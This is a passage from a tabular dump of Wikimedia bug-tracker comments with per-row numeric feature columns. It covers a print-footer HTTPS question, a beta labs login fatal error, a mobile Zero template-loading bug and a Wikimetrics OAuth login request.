This bug also affects Portuguese Wikipedia.",,,1318105368,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-99,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,15.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.8529411764705882,"(In reply to comment #1)
QUOTE
QUOTE

Isn't the canonical form on httpS suposed to point to https?

This bug also affects Portuguese Wikipedia."
149370,Retrievedfrom URI in print footer is not using httpS on secure server,"Not a bug, printfooter explicitly uses the canonical form, not protocol relative.

The ""retrieved from"" link is there for printing purposes, printers don't print links, however they do print the link text, and that link text is a url and that url should not be protocol relative because it's not meant to be read by machines, it's meant to be read by humans off paper. There is no reason to make the link target different from the text.",,,1317645362,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-3qaricqklgktafy6sffw,task_subcomment,,True,c2,1,False,,,-100,True,0.0,0.0,0.0,2.0,5.0,3.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,9.0,11.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,26.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,3.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.870967741935484,0.5913978494623656,"Not a bug, printfooter explicitly uses the canonical form, not protocol relative.

The ""retrieved from"" link is there for printing purposes, printers don't print links, however they do print the link text, and that link text is a url and that url should not be protocol relative because it's not meant to be read by machines, it's meant to be read by humans off paper. There is no reason to make the link target different from the text."
59540,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"seen since Saturday Nov 23:

attempt to login http://en.wikipedia.beta.wmflabs.org/

error is: 

PHP fatal error in /data/project/apache/common-local/php-master/extensions/GettingStarted/Hooks.php line 84: 
Class 'GettingStarted\MobileContext' not found

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1385392800,1385398242.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_description,resolved,True,c2,3,False,False,True,12,True,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,4.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.08955223880597,0.6268656716417911,"seen since Saturday Nov 23:

attempt to login URL

error is: 

PHP fatal error in /data/project/apache/common-local/php-master/extensions/GettingStarted/Hooks.php line 84: 
Class 'GettingStarted\MobileContext' not found

--------------------------
**Version**: unspecified
**Severity**: critical"
259849,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,*** Bug 57534 has been marked as a duplicate of this bug. ***,,,1385462922,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57534 has been marked as a duplicate of this bug. ***
259843,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Thanks, Reedy.  I forgot to test it with mobile and CentralAuth.",,,1385407770,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,13.0,20.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.9333333333333333,"Thanks, Reedy.  I forgot to test it with mobile and CentralAuth."
259838,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Reedy fixed it,,,1385398242,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Reedy fixed it
259832,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Note I can login without problem.  Can you both try again?,,,1385398171,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Note I can login without problem.  Can you both try again?
259825,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,Sam did some fix on GettingStarted an hour ago:  https://gerrit.wikimedia.org/r/#/c/97522/,,,1385398070,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,1.0,Sam did some fix on GettingStarted an hour ago:  URL
259818,beta labs: fatal error on login attempt: Class 'GettingStarted\MobileContext' not found,"Confirming. Trying to log in into http://en.wikipedia.beta.wmflabs.org I end up at   http://en.wikipedia.beta.wmflabs.org/wiki/Special:CentralLogin/complete?token=12345678901234567890123456789012 , getting the same error.
Reloading that page, I am logged in.",,,1385397422,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jtaqioqlnz7gpz44kcf7,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,20.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.2,0.8,"Confirming. Trying to log in into URL I end up at   URL , getting the same error.
Reloading that page, I am logged in."
59624,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"https://m.mediawiki.org/wiki/Special:UserLogin

Exception thrown by mobile.issues.beta load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2Cl…:145
Error: Template not found: overlays/cleanup Error {} load.php?d

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1385504520,1386181898.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-zckfoj72hmkauqbmxgnj,task_description,resolved,True,c2,3,False,False,False,12,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.6410256410256411,"URL

Exception thrown by mobile.issues.beta load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2Cl…:145
Error: Template not found: overlays/cleanup Error {} load.php?d

--------------------------
**Version**: unspecified
**Severity**: normal"
264903,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 merged by jenkins-bot:
Bug 57624: proper js resource loading in zero

https://gerrit.wikimedia.org/r/99027",,,1386180058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1,0.95,"Change 99027 merged by jenkins-bot:
Bug 57624: proper js resource loading in zero

GERRIT_URL"
264898,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Change 99027 had a related patch set uploaded by Yurik:
Bug 57624: proper js resource loading in zero

https://gerrit.wikimedia.org/r/99027",,,1386129953,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.9565217391304348,"Change 99027 had a related patch set uploaded by Yurik:
Bug 57624: proper js resource loading in zero

GERRIT_URL"
264892,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Looks like an issue with Zero.
'class' => 'MFResourceLoaderModule',


Several issues:
1) mobile.zero.scripts and mobile.zero.templates can now be merged into one module specifying:
'class' => 'MFResourceLoaderModule',
2) Explicitly add to dependencies for this module: 'mobile.templates'

Basically what is happening is the code for templates is not being loaded before the template is added.",,,1386094070,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,1.0,0.0,0.0,4.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,1.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,9.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,9.0,1.0,0.0,12.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,5.0,4.325,0.6625,"Looks like an issue with Zero.
'class' => 'MFResourceLoaderModule',


Several issues:
1) mobile.zero.scripts and mobile.zero.templates can now be merged into one module specifying:
'class' => 'MFResourceLoaderModule',
2) Explicitly add to dependencies for this module: 'mobile.templates'

Basically what is happening is the code for templates is not being loaded before the template is added."
264887,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"Created attachment 13966
Errors in action

**Attached**: {F12200}",,,1386033965,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5294117647058822,0.8235294117647058,"Created attachment 13966
Errors in action

**Attached**: {F12200}"
264882,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"From IRC:

yurik-road:
awjr, seems like i can still repo it - https://en.m.wikipedia.org/wiki/New_York?debug=true -- and make sure you spoof X-CS=250-99 and User-Agent=android

I can verify - after setting my x-cs headers, I was able to trigger the error. Is this a zero bug though rather than mobilefrontend?

See attached screenshot.",,,1386033939,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,8.0,7.0,5.0,1.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.315068493150685,0.8082191780821918,"From IRC:

yurik-road:
awjr, seems like i can still repo it - URL -- and make sure you spoof X-CS=250-99 and User-Agent=android

I can verify - after setting my x-cs headers, I was able to trigger the error. Is this a zero bug though rather than mobilefrontend?

See attached screenshot."
264878,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Yuri - how are you replicating this and on what wiki?,,,1386006797,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,3.5833333333333335,1.0,Yuri - how are you replicating this and on what wiki?
264874,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},*** Bug 57766 has been marked as a duplicate of this bug. ***,,,1386006730,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57766 has been marked as a duplicate of this bug. ***
264870,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},Cannot replicate.,,,1385594306,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Cannot replicate.
264864,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1458",,,1385510964,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,13,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
264856,Login page JavaScript exception: Error: Template not found: overlays/cleanup Error {},"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1455",,,1385505612,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zckfoj72hmkauqbmxgnj,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
59493,Allow Wikimedia OAuth login,"Currently, a Google account is required to log in into Wikimetrics.

Now OAuth has been deployed for Wikimedia accounts, https://metrics.wmflabs.org/login seems a good candidate to consume it.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1385251080,1387359680.0,PHID-USER-4opnqejtv7adgswtxy67,False,,False,PHID-TASK-yw42vj5h5opz3w6py6lb,task_description,resolved,True,c2,3,False,False,False,12,True,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.18,0.72,"Currently, a Google account is required to log in into Wikimetrics.

Now OAuth has been deployed for Wikimedia accounts, URL seems a good candidate to consume it.

--------------------------
**Version**: unspecified
**Severity**: normal"
280357,Allow Wikimedia OAuth login,"thanks Nemo, I'll try to be more careful about linking to bugs in the future.",,,1388414681,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,22.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,3.5,0.9444444444444444,"thanks Nemo, I'll try to be more careful about linking to bugs in the future."
280354,Allow Wikimedia OAuth login,"(In reply to comment #3)
> This looks fixed to me

In https://gerrit.wikimedia.org/r/#/c/102618/ it seems",,,1388243570,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-yw42vj5h5opz3w6py6lb,task_subcomment,,True,c2,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.9333333333333333,"(In reply to comment #3)
QUOTE

In URL it seems"
